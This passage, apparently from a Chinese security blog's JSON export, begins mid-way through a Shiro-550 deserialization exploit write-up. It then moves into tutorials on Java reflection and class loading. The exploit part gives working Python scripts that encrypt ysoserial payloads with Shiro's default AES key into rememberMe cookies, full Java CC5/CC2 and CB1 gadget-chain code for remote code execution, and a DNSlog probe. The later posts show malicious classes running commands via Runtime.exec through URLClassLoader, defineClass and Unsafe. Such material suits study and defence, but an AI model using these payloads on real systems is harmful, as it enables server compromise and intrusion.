"kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = b' ' * 16 encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertextif __name__ == '__main__': payload = rememberme('http://wxafnplx.eyes.sh') print("rememberMe={}".format(payload.decode())) (1) URLDNS链注意 发包时如果登录过,要把sessionid去掉 否则会直接识别身份,而不会再去获取rememberMe 更改后再次发包,DNSlog处收到响应 (2) 利用CC2和CC4攻击(手动添加Commons-Collections 4.0依赖)通过URLDNS链,我们验证成功存在反序列化漏洞 真正要利用的话,我们还是得去找一些可以rce的链子 我们看一下shiro自带的依赖,发现shiro中自带的是cc3.2.1版本的组件 所以我们会想到 可以利用CC6去打一下,弹一下计算器试试 利用加密脚本 + ysoserial生成CC6的payload 发送 并没有弹出计算器 看一下哪里出问题了 1232023-07-27 19:26:43,928 WARN [org.apache.shiro.mgt.DefaultSecurityManager]: Delegate RememberMeManager instance of type [org.apache.shiro.web.mgt.CookieRememberMeManager] threw an exception during getRememberedPrincipals().org.apache.shiro.io.SerializationException: Unable to deserialze argument byte array. at org.apache.shiro.io.DefaultSerializer.deserialize(DefaultSerializer.java:82) 问题发生在org.apache.shiro.io.DefaultSerializer.deserialize(DefaultSerializer.java:82) 我们来分析一下是什么原因:这里我们直接看反序列化发生的点,第75行使用了ClassResolvingObjectInputStream类而非传统的ObjectInputStream shiro中重写了ObjectInputStream类的resolveClass函数,ObjectInputStream的resolveClass方法用的是Class.forName类获取当前描述器所指代的类的Class对象 而重写后的resolveClass方法,采用的是ClassUtils.forName 有什么区别呢???ClassUtils.forName不支持传入数组 具体为什么不支持传入数组可以参考:https://blog.zsxsoft.com/post/35 因此传入一个Transform数组的参数,会报错 而cc2和cc4的利用链都是基于javassist去实现的,而不是基于Transform数组。因此可以利用,而cc2和cc4需要Commons-Collections 4.0的依赖 (3) 拼凑CC攻击(shiro原生CC3.2.1利用)shiro是不自带Commons-Collections 4.0的依赖的,当然你遇到shiro的话也不可能自己去给他添加上去,那怎么办呢?没有Commons-Collections 4.0的组件就不能rce了吗? 其实方式还是有的,需要我们拼接一下各个CC链,去重新构造一下利用链 Transform数组用不了,即 利用链中的ChainedTransformer这个类利用不了,因为他的类属性iTransformers是数组类型的Transformers。 但是我们可以通过 InvokerTransformer.transform(templates) 去触发TemplatesImpl.newTransformer 进行恶意类加载rce 即利用CC2的后半段,我们来看一下CC2的调用过程 12345678910111213PriorityQueue.readObject -> PriorityQueue.heapify() -> PriorityQueue.siftDown() -> PriorityQueue.siftDownUsingComparator() -> TransformingComparator.compare()************************************************************* -> InvokerTransformer.transform() -> TemplatesImpl.newTransformer() ->TemplatesImpl#getTransletInstance() ->TemplatesImpl#defineTransletClasses() ->TransletClassLoader#defineClass() -> Runtime.getRuntime().exec()************************************************************* 在这条链上,由于TransformingComparator在Commons-Collections 3.2.1的版本上还没有实现Serializable接口,其在3.2.1版本下是无法反序列化的。所以我们无法直接利用该payload来达到命令执行的目的 因此需要改造一下,哪里还有地方可以构造调用到 InvokerTransformer.transform() 并且使 参数为构造好的TemplatesImpl对象。 我们找到了 LazyMap.get()方法 其中map、factory、key我们都可以控制,那么我们就可以将将构造好的TemplatesImpl对象 赋值给key,factory给Invokertransformer。从而与CC2后半段串起来了。 至于 哪条链中间会调用了LazyMap.get() CC1、CC5、CC6都可以,并且他们适于 Commons-Collections 3.2.1组件,因此可以构造出好几条链子 这里拿CC5开刀 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CC5_CC2_shiroexp { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","aaa"); byte[] code = Files.readAllBytes(Paths.get("evil.class")); byte[][] codes = {code}; setFieldValue(templates,"_bytecodes",codes); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}); HashMap<Object,Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,invokerTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,templates);//将这里的key用了起来 BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1); Class c = badAttributeValueExpException.getClass(); Field val = c.getDeclaredField("val"); val.setAccessible(true); val.set(badAttributeValueExpException,tiedMapEntry); serialize(badAttributeValueExpException); unserialize("CC5_CC2_shiroexp.bin"); } public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException { Class clazz=object.getClass(); Field declaredField=clazz.getDeclaredField(field_name); declaredField.setAccessible(true); declaredField.set(object,filed_value); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC5_CC2_shiroexp.bin")); oos.writeObject(obj); } public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); return ois.readObject(); }} 这里和上面还不同,这里序列化数据存储到了 .bin二进制文件,上面则是通过cmd 命令返回结果进行加密。 不过大体上差不多,稍微修改一下之前的python加密脚本 加密脚本: 1234567891011121314151617181920import base64import subprocessfrom Crypto.Cipher import AESdef bin2rememberme(filepath): f = open(filepath,"rb") BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = b' ' * 16 encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(f.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) f.close() return base64_ciphertextif __name__ == '__main__': payload = bin2rememberme(r".bin文件路径") print("rememberMe={}".format(payload.decode())) 成功弹出计算器 (4) 原生Commons-Beanutils1链攻击其实shiro自带依赖里,我么不仅可以看到 Commons-Collections 3.2.1 还存在Commons-beanutils1.8.3 可以利用shiro自带的CB依赖 打CB链进行rce 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.BeanComparator;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class CB1 { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","aaa"); byte[] code = Files.readAllBytes(Paths.get("evil.class路径")); byte[][] codes = {code}; setFieldValue(templates,"_bytecodes",codes); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); final BeanComparator comparator = new BeanComparator(); final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); // stub data for replacement later queue.add("1"); queue.add("1"); setFieldValue(comparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{templates, templates}); serialize(queue); unserialize("CB-bin/CB1.bin"); } public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException { Class clazz=object.getClass(); Field declaredField=clazz.getDeclaredField(field_name); declaredField.setAccessible(true); declaredField.set(object,filed_value); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CB-bin/CB1.bin")); oos.writeObject(obj); } public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); return ois.readObject(); }} 生成构造好的CB1链的二进制文件后后,利用加密脚本 得到rememberMe字段对应值 发包,弹出计算器 注意: 用yso打shiro的CB链可能打不通 我们打一下试试 123456789101112131415161718import base64import subprocessfrom Crypto.Cipher import AESdef rememberme(command): popen = subprocess.Popen([r'java.exe', '-jar',r'ysoserial.jar', 'CommonsCollections2',command],stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = b' ' * 16 encryptor = AES.new(base64.b64decode(key), mode, iv) #print(popen.stdout.read()) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertextif __name__ == '__main__': payload = rememberme('calc') print("rememberMe={}".format(payload.decode())) tomcat报错了 原因是序列化与反序列化时 serialVersionUID定义的不同 1Caused by: java.io.InvalidClassException: org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962 真相:版本问题 因为 yso 中 cb 版本为 1.9,而 shiro 自带为 1.8.3 参考:https://www.anquanke.com/post/id/192619#h2-3https://blog.zsxsoft.com/post/35","link":"/2023/07/28/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Shiro%E7%AF%8701-Shiro550%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/"},{"title":"Java基础篇-注解与反射","text":"注解(Annotation)注解Annotation 是 JDK5.0 引入的一种注释机制 Annotation的作用: 不是程序本身,可以对程序作出解释 可以被其他程序(比如:编译器等)读取 Annotation的作用: 注解是以”@注释名”在代码中存在的,还可以添加一些参数值 Annotation在哪里使用? 可以附加在package、class、method、field上,相当于给他们添加了额外的辅助信息,我们可以通过反射机制编程实现对这些元数据的访问 <1>内置注解三个类型在 java.lang 包中 @Override - 定义在java.lang.Override中,检查该方法是否是重写方法。如果发现其父类,或者是引用的接口中并没有该方法时,会报编译错误。 @Deprecated - 定义在java.lang.Deprecated中,在标记过时方法、属性、类。如果使用该方法,会报编译警告。因为它是危险的,或者存在更好的替代方法 @SuppressWarnings - 定义在java.lang.SuppressWarnings,指示编译器去忽略注解中声明的警告,用来抑制编译时的警告信息 与前两个注释有所不同,你需要添加一个参数才能正确使用 <2>元注解 元注解的作用就是负责注解其他注解,Java定义了4个标准的meta-annotation类型,他们被用来提供对其他annotation类型作说明 这些类型在 java.lang.annotation 包中,(@Target,@Retention,@Documented,@Inherited) @Target - 用于描述注解的适用范围(即:被描述的注解可以用在什么地方) Retention - 标识这个注解怎么保存,是只在代码中,还是编入class文件中,或者是在运行时可以通过反射访问 用于描述注解的生命周期 (SOURCE < CLASS < RUNTIME) Documented - 说明该注解将包含在用户文档(javadoc)中 Inherited - 说明子类可以继承父类中的该注解 <3>自定义注解使用@interface自定义注解时,自动继承了java.lang.annotation.Annotation接口 分析: @interface来声明一个注解,格式:public @interface 注解名{定义内容}(类里的话把public去掉) 其中的每一个方法实际上是声明了一个配置参数 方法的名称就是参数的名称 返回值类型就是参数的类型(返回值只能是基本类型 Class,String,enum) 可以通过default来声明参数的默认值 如果只有一个参数成员,一般参数名为value 注解元素必须要有值,我们定义注解元素时,经常使用空字符串,0作为默认值 反射概述游戏在运行时,可以写一段代码注入进去,叫作hook 在运行时去改变代码里的数据 是反射的一种体现 <1>动态语言vs静态语言动态语言 可以在运行时改变其结构的语言:例如新的函数、对象、甚至代码可以被引进,已有的函数可以被删除或者是其他结构上的变化。通俗点说就是在运行时代码可以根据某些条件改变自身结构 主要动态语言:object-c、C#、JavaScript、PHP、Python等 例如:php里可以eval()函数 将字符串当作代码执行 静态语言 与动态语言相对应,运行时结构不可变的语言就是静态语言。如:Java、C、C++ Java不是动态语言,但Java可以称为“准动态语言”。即Java有一定的动态性,我们可以利用反射机制获得类似动态语言的特性,Java语言的动态性让编程的时候更加灵活 <2> Java Reflection概述 Reflection(反射)是Java是为动态语言的关键,反射机制允许程序在执行期借助于Reflection API取得任何类的内部信息,并能直接操作任意对象的内部属性及方法。 Class c = Class.forName(“java.lang.String”) 加载完类之后,在堆内存的方法区中就产生了一个Class类型的对象(一个类只有一个Class对象),这个对象就包含了完整的类的结构信息。我们可以通过对这个对象看到类的结构,这个对象就像一面镜子,透过这个镜子看到类的结构,所以我们形象的称之为:反射 正常方式:引入需要的”包类”名称 –》 通过new例实话 –》取得实例化对象 反射方式:实例化对象 –》 getClass()方法 –》 得到Class对象 <3> Java反射机制提供的功能: 在运行时判断任意一个对象所属的类 在运行时构造任意一个类的对象 在运行时判断任意一个类所具有的成员变量和方法 在运行时调用任意一个对象的成员变量和方法 在运行时获取广泛信息 在运行时处理注解 生成动态代理 (机制 AOP会用到) ······ <4> Java反射优点与缺点 优点:可以实现动态创建对象与编译,体现出很强大的灵活性 缺点:对性能有影响。使用反射基本上是一种解释操作,我们可以告诉JVM,我们希望做什么并且它满足我们的要求,这类操作总是慢于 直接执行相同的操作 <5> 反射相关的主要API java.lang.Class:代表一个类 java.lang.reflect.Method:代表类的方法 java.lang.reflect.Field:代表类的成员变量 java.lang.reflect.Constructor:代表类的构造器 ······ <6> Class类在Object类中定义了以下的方法,此方法将被所有子类继承 public final Class getClass() 以上的方法返回值类型是一个Class类,此类是Java反射的源头,实际上所谓反射从程序的运行结果来看也很好理解,即:可以通过对象反射求出类的名称 class类常用方法: 获取class类的实例 若已知具体的类,通过类的class属性获取,该方法最安全、可靠 1Class clazz = Person.class; 若已知某个类的实例,调用该实例的getClass()方法获取Class对象 1Class clazz = person.getClass(); 已知一个类的全名,且该类在类路径下,可通过Class类的静态方法forName()获取,可能会抛出ClassnotFoundException 1Class clazz = Class.forName("demo.Student") 内置基本数据类型可以直接用 类名.Type 1Integer.TYPE; int类 还可以用ClassLoader 在这三种获取CLass类方式中,我们一般使用第三种通过Class.forName方法去动态加载类。且使用forName就不需要import导入其他类,可以加载我们任意的类。 而使用类.class属性,需要导入类的包,依赖性太强,在大型项目中容易抛出编译错误; 而使用实例化对象的getClass()方法,需要本身创建一个对象,本身就没有了使用反射机制意义。 所以我们在获取class对象中,一般使用Class.forName方法去获取。 哪些类型可以有Class对象? class:外部类、成员、局部内部类、匿名内部类 interface:接口 []:数组 enum:枚举 annotation:注解@interface primitive type:基本数据类型 void <7>类加载过程(1) 类加载与ClassLoader理解 加载:将class文件字节码内容加载到内存中。将这些静态数据结构转换成方法区的运行时数据结构,然后生成一个代表这个类的java.lang.Class对象 链接:将java类的二进制代码合并到JVM的运行状态之中的过程 验证:确保加载的类信息符合JVM规范,没有安全方面问题 准备:正式为类变量(static)分配内存并设置类变量默认初始值的阶段,这些内存都将在方法区中进行分配。 解析:虚拟机常量池内的符号引用(常量名)替换为直接引用(地址)的过程 初始化: 执行类构造器()方法的过程。类构造器()方法是由编译期自动收集类中所有类变量的赋值动作和静态代码块中的语句合并产生的(类构造器是构造类信息的,不是构造该类对象的构造器) 当初始化一个类的时候,如果发现其父类还没有进行初始化,则需要先触发其父类的初始化 虚拟机会保证一个类的()方法在多线程环境中被正确加锁和同步 静态代码块和静态代码语句执行顺序取决于编写顺序 123456789101112131415161718192021222324252627282930313233public class test05 { public static void main(String[] args) { A a = new A(); System.out.println(a.m); /* * 1. 加载到内存,会产生一个类对应Class对象 * 2. 链接,链接结束后m=0 * 3. 初始化 * <clinit>(){ * System.out.println("A类静态代码块初始化"); * m = 300; * m = 100 * } * 所以 m=100 */ }}class A{ { System.out.println("Empty block initial"); } static { System.out.println("A类静态代码块初始化"); m = 300; } static int m = 100; public A(){ System.out.println("A类的无参构造初始化"); }输出: A类静态代码块初始化 Empty block initial A类的无参构造初始化 首先调用的是 static{} 其次是 {} 然后是构造函数 其中, static {} 就是在“类初始化”的时候调⽤的,⽽ {} 中的代码会放在构造函数的 super() 后⾯, 但在当前构造函数内容的前⾯ (2) 类加载器作用类加载器作用: 将class文件字节码内容加载到内存中,并将这些静态数据结构转换成方法区的运行时数据结构,然后在堆中生成一个代表这个类的java.lang.Class对象,作为方法区中类数据的访问入口 类缓存: 标准的JavaSE类加载器可以按要求查找类,但一旦某一个类被加载到类加载器中,他将维持加载(缓存)一段时间,不过 JVM 垃圾回收机制可以回收这些Class对象 (3) ★获取运行时类的完整结构通过反射获取运行时类的完整结构 Field、Method、Constructor、Superclass、Interface、Annotation 实现的全部接口 继承的父类 全部的构造器 全部方法 全部Field 注解 1234567891011121314151617181920212223242526272829303132333435363738394041424344import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;public class test08 { public static void main(String[] args) throws ClassNotFoundException{ // Class c1 = Class.forName("com.lv.Reflection.User"); User user = new User(); Class c1 = user.getClass(); System.out.println(c1.getName()); //包名+类名 System.out.println(c1.getSimpleName()); //获得类的属性 System.out.println("=========================="); Field[] fields = c1.getFields(); //只能获取非私有 //有Declared字眼的都是获取本类所有任何访问级别的数据,没有的可以获取本类及父类所有公共级别的数据 即获取所有属性 fields = c1.getDeclaredFields(); for (Field field:fields){ System.out.println(field); } //获得类的方法 System.out.println("=========================="); Method[] methods = c1.getMethods(); //获得本类及其父类的所有public方法 for (Method method : methods) { System.out.println("正常的"+method); } methods = c1. getDeclaredMethods(); //获取本类的所有方法(包括私有) for (Method method : methods) { System.out.println("getDeclaredmethods:"+method); } //获取指定的构造器 System.out.println("=========================="); Constructor[] constructors = c1.getConstructors(); //获取怕public方法 for (Constructor constructor : constructors) { System.out.println(constructor); } constructors = c1.getDeclaredConstructors(); //获取全部的 for (Constructor constructor : constructors) { System.out.println(constructor); } }} 小结: 熟悉java. l an g. reflect包的作用,反射机制 如何获取属性、方法 、构造器名称、修饰符等 (4) ★有了Class对象,能做什么?创建类的对象:调用Class对象的newInstance()方法 类必须有一个无参数的构造器 类的构造器的访问权限需要足够 思考: 难道没用无参的构造器就不能创建对象了吗?只要在操作的时候明确的调用类中的构造器并将参数传递进去之后,才可以实例化操作。 步骤如下: 通过Class类的getDeclaredConstructor()取得本类的指定形参类型的构造器 向构造器的形参中传递一个对象数组进去,里面包含了构造器中所需的各个参数 通过Constructor实例化对象 1234567891011121314151617181920212223242526272829303132333435import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;public class Test09 { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException { //获得Class对象 Class c1=Class.forName("com.lv.Reflection.User"); User user = (User) c1.getDeclaredConstructor(String.class,int.class,int.class).newInstance("gaga",001,18); //jdk高版本 直接c1.newInstance()被弃用了 System.out.println(user); //通过反射调用普通方法 User user2 = (User) c1.getDeclaredConstructor().newInstance(); //通过反射获取一个方法 Method setName = c1.getDeclaredMethod("setName", String.class); //invoke:激活的意思 //(对象,"方法的值") setName.invoke(user2,"1vxyz"); System.out.println(user2.getName()); //通过反射操作属性 System.out.println("=========================="); User user3 = (User) c1.getDeclaredConstructor().newInstance(); Field name = c1.getDeclaredField("name"); //不能直接操作私有属性,我们需要关闭程序的安全检测,通过属性或者方法的setAccessible(true) name.setAccessible(true); // name.set(user3,"1vxyz2"); System.out.println(user3.getName()); } setAccessible Method和Field、Constructor对象都有setAccessible()方法 setAccessible的作用是启动和禁用访问安全检查的开关 参数值为true则指示反射的代码在使用时应取消java语言的访问检查 如果代码中必须用反射,该句代码需要频繁的被调用,设置为true 使得原本无法访问的私有成员也可以被访问 参数值为false则指示反射的对象应该实施java语言访问检查 性能分析: 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;//性能对比分析public class test10 { //普通方式调用 public static void test01(){ User user = new User(); long startTime = System.currentTimeMillis(); for (int i = 0; i < 1000000000; i++) { user.getName(); } long endTime = System.currentTimeMillis(); System.out.println("普通方式执行10亿次:"+(endTime-startTime)+"ms"); } //反射方式调用 public static void test02() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { User user = new User(); Class c1 = user.getClass(); Method getName = c1.getDeclaredMethod("getName", null); long startTime = System.currentTimeMillis(); for (int i = 0; i < 1000000000; i++) { getName.invoke(user,null); } long endTime = System.currentTimeMillis(); System.out.println("普通方式执行10亿次:"+(endTime-startTime)+"ms"); } //反射方式调用 关闭检测 public static void test03() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { User user = new User(); Class c1 = user.getClass(); Method getName = c1.getDeclaredMethod("getName", null); getName.setAccessible(true); long startTime = System.currentTimeMillis(); for (int i = 0; i < 1000000000; i++) { getName.invoke(user,null); } long endTime = System.currentTimeMillis(); System.out.println("普通方式执行10亿次:"+(endTime-startTime)+"ms"); } public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException { test01(); test02(); test03(); }} 学习来源:https://www.bilibili.com/video/BV1p4411P7V3/?spm_id_from=333.999.0.0","link":"/2023/03/27/Java%E5%9F%BA%E7%A1%80%E7%AF%87-%E6%B3%A8%E8%A7%A3%E4%B8%8E%E5%8F%8D%E5%B0%84/"},{"title":"Java基础篇-类加载机制","text":"<1>Javac原理javac是用于将源码文件.java编译成对应的字节码文件.class。其步骤是:源码——>词法分析器组件(生成token流)——>语法分析器组件(语法树)——>语义分析器组件(注解语法树)——>代码生成器组件(字节码) <2>类加载过程先在方法区找class信息,有的话直接调用,没有的话则使用类加载器加载到方法区(静态成员放在静态区,非静态成功放在非静态区),静态代码块在类加载时自动执行代码,非静态的不执行;先父类后子类,先静态后非静态;静态方法和非静态方法都是被动调用,即不调用就不执行 123456789101112131415161718192021222324252627282930313233public class test05 { public static void main(String[] args) { A a = new A(); System.out.println(a.m); /* * 1. 加载到内存,会产生一个类对应Class对象 * 2. 链接,链接结束后m=0 * 3. 初始化 * <clinit>(){ * System.out.println("A类静态代码块初始化"); * m = 300; * m = 100 * } * 所以 m=100 */ }}class A{ { System.out.println("Empty block initial"); } static { System.out.println("A类静态代码块初始化"); m = 300; } static int m = 100; public A(){ System.out.println("A类的无参构造初始化"); }输出: A类静态代码块初始化 Empty block initial A类的无参构造初始化 首先调用的是 static{} 其次是 {} 然后是 无参构造 有参构造 其中, static {} 就是在“类初始化”的时候调⽤的,⽽ {} 中的代码会放在构造函数的 super() 后⾯, 但在当前构造函数内容的前⾯ <3> 动态加载字节码(1)字节码的概念严格来说,Java 字节码(ByteCode)其实仅仅指的是 Java 虚拟机执行使用的一类指令,通常被存储在 .class 文件中 而字节码的诞生是为了让 JVM 的流通性更强,可以看下面图理解一下 (2)类加载器的原理从前面提到的代码块的加载顺序我们得知:在 loadClass() 方法被调用的时候,是不进行类的初始化的 双亲委派机制类加载访问流程: ClassLoader —-> SecureClassLoader —> URLClassLoader —-> APPClassLoader —-> loadClass() —-> findClass() load_class ClassLoader -> SecureClassLoader -> URLClassLoader -> AppClassLoader loadClass() -> findClass(重写的方法) -> defineClass(从字节码加载类) URLClassLoader 任意类加载:file/http/jar ClassLoader.defineClass 字节码加载任意类 UnSafe.defineClass 字节码加载任意类 虽是public类,但不能直接生成 Spring里可以直接生成 下面演示: (3)URLClassLoader类加载class文件 ★URLClassLoader 实际上是我们平时默认使用的 AppClassLoader 的父类,所以,我们解释 URLClassLoader 的工作过程实际上就是在解释默认的 Java 类加载器的工作流程。 正常情况下,Java会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径(这些路径是经过处理后的 java.net.URL 类)来寻找.class文件来加载,而这个基础路径有分为三种情况: ①:URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻找.class文件 ②:URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件 ③:URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类 URLClassLoader:输入一个URL,从URL内加载一个类出来 例一: 构造一个恶意类1234567891011121314package load_class;import java.io.IOException;public class URLClassLoader_evilHello { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } }} javac URLClassLoader_evilHello.java 生成.class文件编译动态加载类12345678910111213141516import java.lang.reflect.InvocationTargetException;import java.net.MalformedURLException;import java.net.URL;import java.net.URLClassLoader;public class URLClassLoader_load_class { public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException { // URLClassLoader:输入一个URL,从URL内加载一个类出来 URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:D:\\\\Java-IDEA\\\\java_workspace\\\\zhujie\\\\src\\\\")}); Class<?> c = urlClassLoader.loadClass("URLClassLoader_evilHello"); c.newInstance(); //c.getDeclaredConstructor().newInstance(); }} java的类加载机制,可以让类初始化时,会执行static静态区里的代码,这里我们通过URLClassLoader类加载了URLClassLoader_evilHello.class 文件,加载了恶意类。赋值给 Class c,然后我们 c.newInstance();实例化,初始化会执行static静态区里的代码,弹出来了计算器。 例二: 再构造一个恶意 Test类: 12345678910import java.io.IOException;public class Test { public Test() { } public static void rce(String var0) throws IOException { Runtime.getRuntime().exec(var0); }} 利用URLClassLoader动态加载恶意类,再利用反射调用里面的rce方法 123456789101112131415161718192021222324252627import java.lang.reflect.InvocationTargetException;import java.net.MalformedURLException;import java.net.URL;import java.net.URLClassLoader;public class loadclass { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, MalformedURLException { // 从url指定的目录下加载.class文件 /* * 使用默认委托父类加载器为指定的URL构造一个新的URLClassLoader。 在父类加载器中首次搜索后, * 将按照为类和资源指定的顺序搜索 URL。 任何以“/”结尾的 URL 都被假定为指向一个目录。 否则,该 URL * 被假定为引用一个 JAR 文件,该文件将根据需要下载和打开。 * 因此您有两个选择: * Refer to the directory that the .class file is in * Put the .class file into a JAR and refer to that * */ URL url = new URL("file:D:\\\\Java-IDEA\\\\java_workspace\\\\zhujie\\\\src\\\\"); // 创建URLClassLoader加载本地.class文件 URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url}); //rce命令弹出计算器 String cmd = "calc"; // 通过URLClassLoader加载.class中的Test类 Class aClass = urlClassLoader.loadClass("Test"); // invoke调用Test类中的rce方法 aClass.getMethod("rce", String.class).invoke(null, cmd); }} (4)defineClass方法加载字节码 ★defineClass是一个protected类型,所以只能通过反射调用,字节码任意加载类 构造恶意类:Hello.java 123456789101112import java.io.IOException;public class Hello { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } }} javac Hello.java 生成.class字节文件 利用ClassLoader类的 defineClass方法 自定义读取Hello.class,构建恶意Hello类: 123456789101112131415161718192021222324252627import java.io.IOException;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.nio.file.Files;import java.nio.file.Paths;public class defineClass_loadclass { public static void main(String[] args) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException { ClassLoader cl = ClassLoader.getSystemClassLoader(); //通过类加载器的 Class对象 反射调用getDeclaredMethod()方法,获取类加载器Class对象里的 defineClass方法 自定义恶意类 Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",String.class, byte[].class, int.class, int.class); defineClassMethod.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D:\\\\Java-IDEA\\\\java_workspace\\\\zhujie\\\\src\\\\load_class\\\\Hello.class")); Class c = (Class) defineClassMethod.invoke(cl,"Hello",code,0,code.length); /*实际上 方法.invoke激活,返回的类型是根据这个方法返回值决定的。又因为defineClass方法可以返回Class对象, * 因次这里可以通过强制类型转化 拿到一个从.class里得到的恶意Hello类 然后通过Class c = (Class)赋值给c * 大多数方法是void类型的,返回null 因此 方法.invoke默认会是object类型(测试 null好像是object) * */ System.out.println(c); c.newInstance(); }} 弹出来了计算器 在实际场景中,因为 defineClass 方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我们常用的一个攻击链 TemplatesImpl 的基石。在后面 CC3中将会学到 (5)Unsafe类 加载字节码1234567891011121314151617181920212223242526package load_class;import sun.misc.Unsafe;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.nio.file.Files;import java.nio.file.Paths;import java.security.ProtectionDomain;public class unsafe_defineclass { public static void main(String[] args) throws InstantiationException, IllegalAccessException, IOException, NoSuchFieldException, NoSuchMethodException, InvocationTargetException { ClassLoader classLoader = ClassLoader.getSystemClassLoader(); Class<Unsafe> unsafeClass = Unsafe.class; Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); unsafeField.setAccessible(true); Unsafe classUnsafe = (Unsafe) unsafeField.get(null); Method defineClassMethod = unsafeClass.getMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class); byte[] code = Files.readAllBytes(Paths.get("D:\\\\Java-IDEA\\\\java_workspace\\\\zhujie\\\\src\\\\load_class\\\\Hello.class")); Class calc = (Class) defineClassMethod.invoke(classUnsafe, "Hello", code, 0, code.length, classLoader, null); calc.newInstance(); }} (6)TemplatesImpl 加载字节码 ★TemplatesImpl类中可以看到存在一个内部类 TransletClassLoader,这个类是继承 ClassLoader,并且重写了 defineClass 方法 简单来说,这里的 defineClass 由其父类的 protected 类型变成了一个 default 类型的方法,可以被类外部调用。 调用链为: 1234567/*TemplatesImpl#getOutputProperties() TemplatesImpl#newTransformer() TemplatesImpl#getTransletInstance() TemplatesImpl#defineTransletClasses() TransletClassLoader#defineClass()*/ 我们先构造一个恶意的 执行代码的类 因为链子里想走通,需要满足这个类需要继承 